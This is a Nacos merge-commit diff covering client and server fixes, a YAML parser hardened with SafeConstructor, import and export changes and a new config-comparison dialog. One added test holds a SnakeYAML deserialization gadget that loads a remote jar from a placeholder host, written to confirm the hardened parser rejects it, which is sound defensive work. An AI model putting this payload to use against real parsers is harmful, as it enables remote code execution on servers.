Merge pull request #5135 from KomachiSion/develop-merge-to-2.0

Develop merge to 2.0
This commit is contained in:
杨翊 SionYang 2021-03-18 14:02:48 +08:00 committed by GitHub
commit e1dc906b24
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
48 changed files with 538 additions and 125 deletions

View File

@ -10,7 +10,7 @@
## What does it do
Nacos (official site: [http://nacos.io](http://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
Nacos (official site: [nacos.io](https://nacos.io)) is an easy-to-use platform designed for dynamic service discovery and configuration and service management. It helps you to build cloud native applications and microservices platform easily.
Service is a first-class citizen in Nacos. Nacos supports almost all type of servicesfor example[Dubbo/gRPC service](https://nacos.io/en-us/docs/use-nacos-with-dubbo.html), [Spring Cloud RESTFul service](https://nacos.io/en-us/docs/use-nacos-with-springcloud.html) or [Kubernetes service](https://nacos.io/en-us/docs/use-nacos-with-kubernetes.html).
@ -113,8 +113,8 @@ These are only part of the companies using Nacos, for reference only. If you are
![Alibaba Group](https://docs.alibabagroup.com/assets2/images/en/global/logo_header.png)
![虎牙直播](https://a.msstatic.com/huya/main/img/logo.png)
![ICBC](http://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
![爱奇艺](http://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
![ICBC](https://v.icbc.com.cn/userfiles/Resources/ICBC/shouye/images/2017/logo.png)
![爱奇艺](https://www.iqiyipic.com/common/fix/site-v4/sprite-headLogo-index.png)
![平安科技](https://img.alicdn.com/tfs/TB1pwi9EwHqK1RjSZJnXXbNLpXa-479-59.png)
![华夏信财](https://img.alicdn.com/tfs/TB1MZWSEzDpK1RjSZFrXXa78VXa-269-69.png)
![优客工场](https://www.urwork.cn/public/images/ui/logo.png)
@ -130,7 +130,7 @@ These are only part of the companies using Nacos, for reference only. If you are
![集萃智能](http://www.iimt.org.cn/pic/logosy.png)
![Acmedcare+](https://img.alicdn.com/tfs/TB1DZWSEzDpK1RjSZFrXXa78VXa-240-62.png)
![吾享](https://w.wuuxiang.com/theme/images/common/logo1.png)
![北京天合互联信息有限公司](http://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
![北京天合互联信息有限公司](https://14605854.s21i.faiusr.com/4/ABUIABAEGAAg4OvkzwUo8b-qlwUwxQ449gM!300x300.png)
![上海密尔克卫化工](http://www.mwclg.com/static-resource/front/images/home/img_logo_nav.png)
![大连新唯](https://www.synwe.com/logo-full.png)
![立思辰](https://user-images.githubusercontent.com/10215557/51593180-7563af00-1f2c-11e9-95b1-ec2c645d6a0b.png)

View File

@ -176,6 +176,8 @@ public class Constants {
public static final String SERVICE_INFO_SPLITER = "@@";
public static final int SERVICE_INFO_SPLIT_COUNT = 2;
public static final String NULL_STRING = "null";
public static final String NUMBER_PATTERN = "^\\d+$";

View File

@ -58,7 +58,7 @@ public interface ConfigService {
/**
* Add a listener to the configuration, after the server modified the configuration, the client will use the
* incoming listener callback. Recommended asynchronous processing, the application can implement the getExecutor
* method in the ManagerListener, provide a thread pool of execution. If provided, use the main thread callback, May
* method in the ManagerListener, provide a thread pool of execution. If not provided, use the main thread callback, May
* block other configurations or be blocked by other configurations.
*
* @param dataId dataId

View File

@ -53,7 +53,6 @@ public class MetricsHttpAgent implements HttpAgent {
throw e;
} finally {
timer.observeDuration();
timer.close();
}
return result;
@ -70,7 +69,6 @@ public class MetricsHttpAgent implements HttpAgent {
throw e;
} finally {
timer.observeDuration();
timer.close();
}
return result;
@ -84,11 +82,9 @@ public class MetricsHttpAgent implements HttpAgent {
try {
result = httpAgent.httpDelete(path, headers, paramValues, encode, readTimeoutMs);
} catch (IOException e) {
throw e;
} finally {
timer.observeDuration();
timer.close();
}
return result;

View File

@ -17,8 +17,12 @@
package com.alibaba.nacos.client.config.impl;
import com.alibaba.nacos.api.config.ConfigChangeItem;
import com.alibaba.nacos.api.exception.NacosException;
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
import com.alibaba.nacos.common.utils.StringUtils;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.ConstructorException;
import org.yaml.snakeyaml.constructor.SafeConstructor;
import java.util.Collection;
import java.util.Collections;
@ -33,6 +37,8 @@ import java.util.Map;
*/
public class YmlChangeParser extends AbstractConfigChangeParser {
private static final String INVALID_CONSTRUCTOR_ERROR_INFO = "could not determine a constructor for the tag";
public YmlChangeParser() {
super("yaml");
}
@ -41,20 +47,34 @@ public class YmlChangeParser extends AbstractConfigChangeParser {
public Map<String, ConfigChangeItem> doParse(String oldContent, String newContent, String type) {
Map<String, Object> oldMap = Collections.emptyMap();
Map<String, Object> newMap = Collections.emptyMap();
if (StringUtils.isNotBlank(oldContent)) {
oldMap = (new Yaml()).load(oldContent);
oldMap = getFlattenedMap(oldMap);
}
if (StringUtils.isNotBlank(newContent)) {
newMap = (new Yaml()).load(newContent);
newMap = getFlattenedMap(newMap);
try {
Yaml yaml = new Yaml(new SafeConstructor());
if (StringUtils.isNotBlank(oldContent)) {
oldMap = yaml.load(oldContent);
oldMap = getFlattenedMap(oldMap);
}
if (StringUtils.isNotBlank(newContent)) {
newMap = yaml.load(newContent);
newMap = getFlattenedMap(newMap);
}
} catch (ConstructorException e) {
handleYamlException(e);
}
return filterChangeData(oldMap, newMap);
}
private final Map<String, Object> getFlattenedMap(Map<String, Object> source) {
private void handleYamlException(ConstructorException e) {
if (e.getMessage().startsWith(INVALID_CONSTRUCTOR_ERROR_INFO)) {
throw new NacosRuntimeException(NacosException.INVALID_PARAM,
"AbstractConfigChangeListener only support basic java data type for yaml. If you want to listen "
+ "key changes for custom classes, please use `Listener` to listener whole yaml configuration and parse it by yourself.",
e);
}
throw e;
}
private Map<String, Object> getFlattenedMap(Map<String, Object> source) {
Map<String, Object> result = new LinkedHashMap<String, Object>(128);
buildFlattenedMap(result, source, null);
return result;

View File

@ -18,6 +18,7 @@ package com.alibaba.nacos.client.logging.log4j2;
import com.alibaba.nacos.client.logging.AbstractNacosLogging;
import com.alibaba.nacos.common.utils.ResourceUtils;
import com.alibaba.nacos.common.utils.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.core.Appender;
import org.apache.logging.log4j.core.LoggerContext;
@ -49,6 +50,10 @@ public class Log4J2NacosLogging extends AbstractNacosLogging {
@Override
public void loadConfiguration() {
if (StringUtils.isBlank(location)) {
return;
}
final LoggerContext loggerContext = (LoggerContext) LogManager.getContext(false);
final Configuration contextConfiguration = loggerContext.getConfiguration();

View File

@ -133,6 +133,10 @@ public class ServiceInfoHolder implements Closeable {
* @return service info
*/
public ServiceInfo processServiceInfo(ServiceInfo serviceInfo) {
String serviceKey = serviceInfo.getKey();
if (serviceKey == null) {
return null;
}
ServiceInfo oldService = serviceInfoMap.get(serviceInfo.getKey());
if (isEmptyOrErrorPush(serviceInfo)) {
//empty or error push, just ignore

View File

@ -85,9 +85,9 @@ public class NamingClientProxyDelegate implements NamingClientProxy {
t.setDaemon(true);
return t;
});
this.securityProxy.login(serverListManager.getServerList());
this.executorService.scheduleWithFixedDelay(() -> securityProxy.login(serverListManager.getServerList()), 0,
securityInfoRefreshIntervalMills, TimeUnit.MILLISECONDS);
this.securityProxy.login(serverListManager.getServerList());
}
@Override

View File

@ -49,7 +49,7 @@ public class SecurityProxy {
private final NacosRestTemplate nacosRestTemplate;
private String contextPath;
private final String contextPath;
/**
* User's name.
@ -64,7 +64,7 @@ public class SecurityProxy {
/**
* A token to take with when sending request to Nacos server.
*/
private String accessToken;
private volatile String accessToken;
/**
* TTL of token in seconds.
@ -89,7 +89,8 @@ public class SecurityProxy {
public SecurityProxy(Properties properties, NacosRestTemplate nacosRestTemplate) {
username = properties.getProperty(PropertyKeyConst.USERNAME, StringUtils.EMPTY);
password = properties.getProperty(PropertyKeyConst.PASSWORD, StringUtils.EMPTY);
contextPath = ContextPathUtil.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
contextPath = ContextPathUtil
.normalizeContextPath(properties.getProperty(PropertyKeyConst.CONTEXT_PATH, "/nacos"));
this.nacosRestTemplate = nacosRestTemplate;
}

View File

@ -164,12 +164,7 @@ public class ParamUtil {
String.valueOf(Constants.DEFAULT_USE_CLOUD_NAMESPACE_PARSING)));
if (Boolean.parseBoolean(isUseCloudNamespaceParsing)) {
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
@Override
public String call() {
return TenantUtil.getUserTenantForAcm();
}
});
namespaceTmp = TenantUtil.getUserTenantForAcm();
namespaceTmp = TemplateUtils.stringBlankAndThenExecute(namespaceTmp, new Callable<String>() {
@Override

View File

@ -64,7 +64,7 @@ public class TemplateUtils {
}
}
return source.trim();
return source == null ? null : source.trim();
}
/**
@ -85,6 +85,6 @@ public class TemplateUtils {
}
}
return source.trim();
return source == null ? null : source.trim();
}
}

View File

@ -17,6 +17,7 @@
package com.alibaba.nacos.client.config.impl;
import com.alibaba.nacos.api.config.ConfigChangeItem;
import com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;
import org.junit.Assert;
import org.junit.Test;
@ -71,5 +72,13 @@ public class YmlChangeParserTest {
Map<String, ConfigChangeItem> map = parser.doParse(s, s, type);
Assert.assertEquals(0, map.size());
}
@Test(expected = NacosRuntimeException.class)
public void testChangeInvalidKey() {
parser.doParse("anykey:\n a",
"anykey: !!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n"
+ " !!java.net.URL [\"http://[yourhost]:[port]/yaml-payload.jar\"]\n" + " ]]\n" + "]",
type);
}
}

View File

@ -24,6 +24,8 @@ import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.util.List;
import java.util.Map;
/**
* JDk http client response implement.
@ -49,7 +51,9 @@ public class JdkHttpClientResponse implements HttpClientResponse {
if (this.responseHeader == null) {
this.responseHeader = Header.newInstance();
}
this.responseHeader.setOriginalResponseHeader(conn.getHeaderFields());
for (Map.Entry<String, List<String>> entry : conn.getHeaderFields().entrySet()) {
this.responseHeader.addOriginalResponseHeader(entry.getKey(), entry.getValue());
}
return this.responseHeader;
}

View File

@ -23,9 +23,9 @@ import com.alibaba.nacos.common.utils.StringUtils;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
/**
* Http header.
@ -41,8 +41,8 @@ public class Header {
private final Map<String, List<String>> originalResponseHeader;
private Header() {
header = new LinkedHashMap<String, String>();
originalResponseHeader = new LinkedHashMap<String, List<String>>();
header = new TreeMap<String, String>(String.CASE_INSENSITIVE_ORDER);
originalResponseHeader = new TreeMap<String, List<String>>(String.CASE_INSENSITIVE_ORDER);
addParam(HttpHeaderConsts.CONTENT_TYPE, MediaType.APPLICATION_JSON);
addParam(HttpHeaderConsts.ACCEPT_CHARSET, "UTF-8");
addParam(HttpHeaderConsts.ACCEPT_ENCODING, "gzip");
@ -142,14 +142,13 @@ public class Header {
*
* <p>Currently only corresponds to the response header of JDK.
*
* @param headers original response header
* @param key original response header key
* @param values original response header values
*/
public void setOriginalResponseHeader(Map<String, List<String>> headers) {
if (MapUtil.isNotEmpty(headers)) {
this.originalResponseHeader.putAll(headers);
for (Map.Entry<String, List<String>> entry : this.originalResponseHeader.entrySet()) {
addParam(entry.getKey(), entry.getValue().get(0));
}
public void addOriginalResponseHeader(String key, List<String> values) {
if (StringUtils.isNotEmpty(key)) {
this.originalResponseHeader.put(key, values);
addParam(key, values.get(0));
}
}

View File

@ -30,6 +30,6 @@ public interface Closeable {
*
* @throws NacosException exception.
*/
public void shutdown() throws NacosException;
void shutdown() throws NacosException;
}

View File

@ -17,7 +17,6 @@
package com.alibaba.nacos.common.utils;
import java.util.AbstractSet;
import java.util.HashSet;
import java.util.Iterator;
import java.util.concurrent.ConcurrentHashMap;
@ -45,14 +44,9 @@ public class ConcurrentHashSet<E> extends AbstractSet<E> {
return map.containsKey(o);
}
/**
* The original implement <p>map.keySet().iterator()</p> need jdk8, so it can work.
*
* @return iterator
*/
@Override
public Iterator<E> iterator() {
return new HashSet<E>(map.keySet()).iterator();
return map.keySet().iterator();
}
@Override

View File

@ -148,9 +148,6 @@ public class IPUtil {
throw new IllegalArgumentException("The IP address(\"" + str
+ "\") is incorrect. If it is an IPv6 address, please use [] to enclose the IP part!");
}
if (!isIPv4(serverAddrArr[0])) {
throw new IllegalArgumentException("The IPv4 address(\"" + serverAddrArr[0] + "\") is incorrect.");
}
}
return serverAddrArr;
}
@ -174,9 +171,6 @@ public class IPUtil {
Matcher m = ipv4Pattern.matcher(str);
if (m.find()) {
result = m.group();
if (!isIPv4(result)) {
result = "";
}
}
}
return result;

View File

@ -0,0 +1,31 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.nacos.common.http.param;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class HeaderTest {
@Test
public void testHeaderKyeIgnoreCase() {
Header header = Header.newInstance();
header.addParam("Content-Encoding", "gzip");
assertEquals("gzip", header.getValue("content-encoding"));
}
}

View File

@ -269,4 +269,6 @@ public class Constants {
* Specifies that reads wait without timeout.
*/
public static final String EXTEND_NEED_READ_UNTIL_HAVE_DATA = "00--0-read-join-0--00";
public static final String CONFIG_EXPORT_ITEM_FILE_SEPARATOR = "/";
}

View File

@ -537,7 +537,7 @@ public class ConfigController {
// Fixed use of "\r\n" here
.append(ci.getAppName()).append("\r\n");
}
String itemName = ci.getGroup() + "/" + ci.getDataId();
String itemName = ci.getGroup() + Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR + ci.getDataId();
zipItemList.add(new ZipUtils.ZipItem(itemName, ci.getContent()));
}
if (metaData != null) {
@ -583,13 +583,15 @@ public class ConfigController {
}
List<ConfigAllInfo> configInfoList = null;
List<Map<String, String>> unrecognizedList = null;
try {
ZipUtils.UnZipResult unziped = ZipUtils.unzip(file.getBytes());
ZipUtils.ZipItem metaDataZipItem = unziped.getMetaDataItem();
Map<String, String> metaDataMap = new HashMap<>(16);
if (metaDataZipItem != null) {
String metaDataStr = metaDataZipItem.getItemData();
String[] metaDataArr = metaDataStr.split("\r\n");
// compatible all file separator
String metaDataStr = metaDataZipItem.getItemData().replaceAll("[\r\n]+", "|");
String[] metaDataArr = metaDataStr.split("\\|");
for (String metaDataItem : metaDataArr) {
String[] metaDataItemArr = metaDataItem.split("=");
if (metaDataItemArr.length != 2) {
@ -602,11 +604,14 @@ public class ConfigController {
List<ZipUtils.ZipItem> itemList = unziped.getZipItemList();
if (itemList != null && !itemList.isEmpty()) {
configInfoList = new ArrayList<>(itemList.size());
unrecognizedList = new ArrayList<>();
for (ZipUtils.ZipItem item : itemList) {
String[] groupAdnDataId = item.getItemName().split("/");
if (!item.getItemName().contains("/") || groupAdnDataId.length != 2) {
failedData.put("succCount", 0);
return RestResultUtils.buildResult(ResultCodeEnum.DATA_VALIDATION_FAILED, failedData);
String[] groupAdnDataId = item.getItemName().split(Constants.CONFIG_EXPORT_ITEM_FILE_SEPARATOR);
if (groupAdnDataId.length != 2) {
Map<String, String> unrecognizedItem = new HashMap<>(1);
unrecognizedItem.put("itemName", item.getItemName());
unrecognizedList.add(unrecognizedItem);
continue;
}
String group = groupAdnDataId[0];
String dataId = groupAdnDataId[1];
@ -650,6 +655,11 @@ public class ConfigController {
requestIpApp, time.getTime(), InetUtils.getSelfIP(),
ConfigTraceService.PERSISTENCE_EVENT_PUB, configInfo.getContent());
}
// unrecognizedCount
if (!unrecognizedList.isEmpty()) {
saveResult.put("unrecognizedCount", unrecognizedList.size());
saveResult.put("unrecognizedData", unrecognizedList);
}
return RestResultUtils.success("导入成功", saveResult);
}

View File

@ -148,7 +148,7 @@ public final class TaskManager extends NacosDelayTaskExecuteEngine implements Ta
ObjectName oName = new ObjectName(this.name + ":type=" + TaskManager.class.getSimpleName());
ManagementFactory.getPlatformMBeanServer().registerMBean(this, oName);
} catch (Exception e) {
LOGGER.error("registerMBean_fail", "注册mbean出错", e);
LOGGER.error("registerMBean_fail", e);
}
}
}

View File

@ -54,6 +54,8 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
private static final int TRANSACTION_QUERY_TIMEOUT = 5;
private static final int DB_MASTER_SELECT_THRESHOLD = 1;
private static final String DB_LOAD_ERROR_MSG = "[db-load-error]load jdbc.properties error";
private List<HikariDataSource> dataSourceList = new ArrayList<>();
@ -106,8 +108,10 @@ public class ExternalDataSourceServiceImpl implements DataSourceService {
e.printStackTrace();
throw new RuntimeException(DB_LOAD_ERROR_MSG);
}
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
if (this.dataSourceList.size() > DB_MASTER_SELECT_THRESHOLD) {
ConfigExecutor.scheduleConfigTask(new SelectMasterTask(), 10, 10, TimeUnit.SECONDS);
}
ConfigExecutor.scheduleConfigTask(new CheckDbHealthTask(), 10, 10, TimeUnit.SECONDS);
}
}

View File

@ -133,11 +133,12 @@ public class ZipUtils {
while ((offset = zipIn.read(buffer)) != -1) {
out.write(buffer, 0, offset);
}
if (".meta.yml".equals(entry.getName())) {
metaDataItem = new ZipItem(entry.getName(), out.toString("UTF-8"));
} else {
itemList.add(new ZipItem(entry.getName(), out.toString("UTF-8")));
String entryName = entry.getName();
if (".meta.yml".equals(entryName)) {
metaDataItem = new ZipItem(entryName, out.toString("UTF-8"));
continue;
}
itemList.add(new ZipItem(entryName, out.toString("UTF-8")));
} catch (IOException e) {
LOGGER.error("unzip error", e);
}

View File

@ -28,6 +28,8 @@ const I18N_CONF = {
},
Login: {
login: 'Login',
internalSysTip1: 'Internal system.',
internalSysTip2: 'Not exposed to the public network',
submit: 'Submit',
pleaseInputUsername: 'Please input username',
pleaseInputPassword: 'Please input password',
@ -271,8 +273,8 @@ const I18N_CONF = {
configurationManagement8: 'configuration management',
queryResults: 'Search Results: Found',
articleMeetRequirements: 'configuration items',
fuzzyd: 'Add wildcard \'*\' for fuzzy query',
fuzzyg: 'Add wildcard \'*\' for fuzzy query',
fuzzyd: "Add wildcard '*' for fuzzy query",
fuzzyg: "Add wildcard '*' for fuzzy query",
query: 'Search',
advancedQuery9: 'Advanced Query',
application0: 'Application:',
@ -301,8 +303,10 @@ const I18N_CONF = {
samePreparation: 'Same preparation',
targetNamespace: 'Target namespace',
conflictConfig: 'Conflict-detected configuration items',
importSuccEntries: 'Successful entries: ',
failureEntries: 'Failure entries',
unprocessedEntries: 'Unprocessed entries',
unrecognizedEntries: 'Unrecognized entries',
skippedEntries: 'skipped entries',
exportSelected: 'Export selected configs',
clone: 'Clone',
@ -311,6 +315,7 @@ const I18N_CONF = {
cloneSucc: 'The clone was successful',
cloneAbort: 'Clone abort',
cloneSuccBegin: 'The clone was successful,with ',
cloneSuccEntries: 'Successful entries: ',
cloneSuccEnd: 'configuration items cloned',
cloneFail: 'Clone failed',
getNamespaceFailed: 'get the namespace failed',
@ -507,6 +512,14 @@ const I18N_CONF = {
versionComparison: 'Version Comparison',
dialogCurrentArea: 'Current Version',
dialogOriginalArea: 'Previous Version',
configComparison: 'Config Comparison',
dialogCurrentConfig: 'Current Config',
dialogComparedConfig: 'Compared Config',
configComparisonTitle: 'Select Config',
dataIdInput: 'Please Enter Data Id',
groupInput: 'Please Enter Group',
namespaceSelect: 'Please Select namespace',
configNotFind: 'The Configuration is not found, Please select again',
},
ConfigRollback: {
rollBack: 'Roll Back',

View File

@ -26,6 +26,7 @@ const I18N_CONF = {
},
Login: {
login: '登录',
internalSysTip1: '内部系统不可暴露到公网',
submit: '提交',
pleaseInputUsername: '请输入用户名',
pleaseInputPassword: '请输入密码',
@ -270,8 +271,8 @@ const I18N_CONF = {
configurationManagement8: '配置管理',
queryResults: '查询结果共查询到',
articleMeetRequirements: '条满足要求的配置',
fuzzyd: '添加通配符\'*\'进行模糊查询',
fuzzyg: '添加通配符\'*\'进行模糊查询',
fuzzyd: "添加通配符'*'进行模糊查询",
fuzzyg: "添加通配符'*'进行模糊查询",
query: '查询',
advancedQuery9: '高级查询',
application0: '归属应用:',
@ -299,8 +300,10 @@ const I18N_CONF = {
samePreparation: '相同配置',
targetNamespace: '目标空间',
conflictConfig: '检测到冲突的配置项',
importSuccEntries: '成功导入条目数: ',
failureEntries: '失败的条目',
unprocessedEntries: '未处理的条目',
unrecognizedEntries: '未识别的条目',
skippedEntries: '跳过的条目',
exportSelected: '导出选中的配置',
clone: '克隆',
@ -309,6 +312,7 @@ const I18N_CONF = {
cloneSucc: '克隆成功',
cloneAbort: '克隆终止',
cloneSuccBegin: '克隆成功,克隆了',
cloneSuccEntries: '成功克隆条目数: ',
cloneSuccEnd: '项配置',
cloneFail: '克隆失败',
getNamespaceFailed: '获取命名空间失败',
@ -504,6 +508,14 @@ const I18N_CONF = {
versionComparison: '版本对比',
dialogCurrentArea: '当前版本',
dialogOriginalArea: '上一版本',
configComparison: '配置对比',
dialogCurrentConfig: '当前配置',
dialogComparedConfig: '被比较配置',
configComparisonTitle: '选择配置',
dataIdInput: '请输入Data Id',
groupInput: '请输入Group',
namespaceSelect: '请选择命名空间',
configNotFind: '未查询到指定配置,请重新选择',
},
ConfigRollback: {
rollBack: '回滚配置',

View File

@ -0,0 +1,136 @@
/*
* Copyright 1999-2018 Alibaba Group Holding Ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import React from 'react';
import PropTypes from 'prop-types';
import { Field, Form, Input, Dialog, ConfigProvider, Select } from '@alifd/next';
import { connect } from 'react-redux';
import { getNamespaces } from '../../../reducers/namespace';
import { request } from '../../../globalLib';
const FormItem = Form.Item;
const { Option } = Select;
const formItemLayout = {
labelCol: { fixedSpan: 4 },
wrapperCol: { span: 19 },
};
@connect(state => ({ namespaces: state.namespace.namespaces }), { getNamespaces })
@ConfigProvider.config
class ConfigCompared extends React.Component {
static displayName = 'ConfigCompare';
field = new Field(this);
static propTypes = {
locale: PropTypes.object,
dataId: PropTypes.string,
group: PropTypes.string,
visible: PropTypes.bool,
onOk: PropTypes.func,
onCancel: PropTypes.func,
};
constructor(props) {
super(props);
this.state = {
namespacesDataSource: [],
};
}
componentDidMount() {
this.getNamespaces();
}
getNamespaces() {
request({
type: 'get',
url: 'v1/console/namespaces',
success: res => {
if (res.code === 200) {
const { namespacesDataSource } = this.state;
this.setState({ namespacesDataSource: res.data });
} else {
Dialog.alert({
title: prompt,
content: res.message,
});
}
},
error: res => {
window.namespaceList = [
{
namespace: '',
namespaceShowName: '公共空间',
type: 0,
},
];
},
});
}
render() {
const { locale = {} } = this.props;
const { getError } = this.field;
const { visible, onOk, onCancel, dataId, group } = this.props;
const { namespacesDataSource } = this.state;
return (
<>
<Dialog
title={locale.configComparisonTitle}
visible={visible}
onOk={() => {
const fields = {
dataId: 'dataId',
group: 'group',
namespace: 'namespace',
};
const vals = Object.keys(fields).map(key => {
return this.field.getValue(key);
});
onOk(vals);
}}
onClose={onCancel}
onCancel={onCancel}
afterClose={() => this.field.reset()}
>
<Form style={{ width: 430 }} {...formItemLayout} field={this.field}>
<FormItem label={'namespace'} help={getError('namespace')}>
<Select
name="namespace"
placeholder={locale.namespaceSelect}
style={{ width: '100%' }}
>
{namespacesDataSource.map(({ namespace, namespaceShowName }) => (
<Option value={namespace}>
{namespaceShowName} {namespace ? `(${namespace})` : ''}
</Option>
))}
</Select>
</FormItem>
<FormItem label={'Data Id'} required help={getError('Data Id')}>
<Input name="dataId" trim placeholder={locale.dataIdInput} defaultValue={dataId} />
</FormItem>
<FormItem label={'Group'} required help={getError('Group')}>
<Input name="group" trim placeholder={locale.configComparison} defaultValue={group} />
</FormItem>
</Form>
</Dialog>
</>
);
}
}
export default ConfigCompared;

View File

@ -32,6 +32,8 @@ import DiffEditorDialog from '../../../components/DiffEditorDialog';
import './index.scss';
import PropTypes from 'prop-types';
import requestUtils from '../../../utils/request';
import ConfigCompared from './ConfigCompared';
const TabPane = Tab.Item;
const FormItem = Form.Item;
@ -69,6 +71,7 @@ class ConfigDetail extends React.Component {
this.pageSize = getParams('pageSize');
this.pageNo = getParams('pageNo');
this.diffEditorDialog = React.createRef();
this.compareEditorDialog = React.createRef();
// this.params = window.location.hash.split('?')[1]||'';
}
@ -227,8 +230,39 @@ class ConfigDetail extends React.Component {
});
}
openCompare = ([dataId, group, tenant]) => {
let self = this;
const { locale = {} } = this.props;
let leftvalue = this.monacoEditor.getValue();
const params = {
show: 'all',
group,
dataId,
tenant,
};
requestUtils.get('v1/cs/configs', { params }).then(res => {
if (res != null && res !== '') {
let rightvalue = res.content;
leftvalue = leftvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
rightvalue = rightvalue.replace(/\r\n/g, '\n').replace(/\n/g, '\r\n');
self.compareEditorDialog.current.getInstance().openDialog(leftvalue, rightvalue);
} else {
Dialog.alert({ title: locale.error, content: locale.configNotFind });
}
});
};
onClickConfigCompare() {
this.setState({ configCompareVisible: true });
}
closeConfigCompare() {
this.setState({ configCompareVisible: false });
}
render() {
const { locale = {} } = this.props;
const { configCompareVisible } = this.state;
const { init } = this.field;
const formItemLayout = {
labelCol: {
@ -318,6 +352,9 @@ class ConfigDetail extends React.Component {
</Form>
<Row>
<Col span="24" className="button-list">
<Button size="large" type="primary" onClick={() => this.onClickConfigCompare()}>
{locale.configComparison}
</Button>{' '}
<Button size="large" type="primary" onClick={this.openDiff.bind(this)}>
{locale.versionComparison}
</Button>{' '}
@ -332,7 +369,22 @@ class ConfigDetail extends React.Component {
currentArea={locale.dialogCurrentArea}
originalArea={locale.dialogOriginalArea}
/>
<DiffEditorDialog
ref={this.compareEditorDialog}
title={locale.configComparison}
currentArea={locale.dialogCurrentConfig}
originalArea={locale.dialogComparedConfig}
/>
</Loading>
<ConfigCompared
visible={configCompareVisible}
dataId={this.dataId}
group={this.group}
onOk={config => {
this.openCompare(config);
}}
onCancel={() => this.closeConfigCompare()}
/>
</div>
);
}

View File

@ -1004,7 +1004,10 @@ class ConfigurationManagement extends React.Component {
const resultCode = ret.code;
if (resultCode === 200) {
confirm.hide();
if (ret.data.failData && ret.data.failData.length > 0) {
let failCount = ret.data.failData ? ret.data.failData.length : 0;
let skipCount = ret.data.skipData ? ret.data.skipData.length : 0;
let unrecognizedCount = ret.data.unrecognizedCount ? ret.data.unrecognizedCount : 0;
if (failCount > 0) {
Dialog.alert({
title: isImport ? locale.importAbort : locale.cloneAbort,
content: (
@ -1014,7 +1017,7 @@ class ConfigurationManagement extends React.Component {
</h4>
<div style={{ marginTop: 20 }}>
<h5>
{locale.failureEntries}: {ret.data.failData.length}
{locale.failureEntries}: {failCount}
</h5>
<Table dataSource={ret.data.failData}>
<Table.Column title="Data Id" dataIndex="dataId" />
@ -1023,30 +1026,50 @@ class ConfigurationManagement extends React.Component {
</div>
<div>
<h5>
{locale.unprocessedEntries}: {ret.data.skipData ? ret.data.skipData.length : 0}
{locale.unprocessedEntries}: {skipCount}
</h5>
<Table dataSource={ret.data.skipData}>
<Table.Column title="Data Id" dataIndex="dataId" />
<Table.Column title="Group" dataIndex="group" />
</Table>
</div>
<div>
<h5>
{locale.unrecognizedEntries}: {unrecognizedCount}
</h5>
<Table dataSource={ret.data.unrecognizedData}>
<Table.Column title="Item Name" dataIndex="itemName" />
</Table>
</div>
</div>
),
});
} else if (ret.data.skipCount && ret.data.skipCount > 0) {
} else if (skipCount > 0 || unrecognizedCount > 0) {
let message = `${isImport ? locale.importSuccEntries : locale.cloneSuccEntries}${
ret.data.succCount
}`;
Dialog.alert({
title: isImport ? locale.importSucc : locale.cloneSucc,
content: (
<div style={{ width: '500px' }}>
<h5>{message}</h5>
<div>
<h5>
{locale.skippedEntries}: {ret.data.skipData.length}
{locale.skippedEntries}: {skipCount}
</h5>
<Table dataSource={ret.data.skipData}>
<Table.Column title="Data Id" dataIndex="dataId" />
<Table.Column title="Group" dataIndex="group" />
</Table>
</div>
<div>
<h5>
{locale.unrecognizedEntries}: {unrecognizedCount}
</h5>
<Table dataSource={ret.data.unrecognizedData}>
<Table.Column title="Item Name" dataIndex="itemName" />
</Table>
</div>
</div>
),
});

View File

@ -102,6 +102,10 @@ class Login extends React.Component {
<div className="animation animation5" />
<Card className="login-panel" contentHeight="auto">
<div className="login-header">{locale.login}</div>
<div className="internal-sys-tip">
<div>{locale.internalSysTip1}</div>
<div>{locale.internalSysTip2}</div>
</div>
<Form className="login-form" field={this.field}>
<FormItem>
<Input

View File

@ -54,9 +54,18 @@ $contentWidth: 1280px;
margin-top: 58px;
text-align: center;
}
.internal-sys-tip {
width: 100%;
line-height: 25px;
font-size: 20px;
margin-top: 25px;
text-align: center;
font-weight: 800;
color: #ff0000cc;
}
.login-form {
width: 360px;
margin: 80px auto auto auto;
margin: 40px auto auto auto;
input {
height: 60px;
}

View File

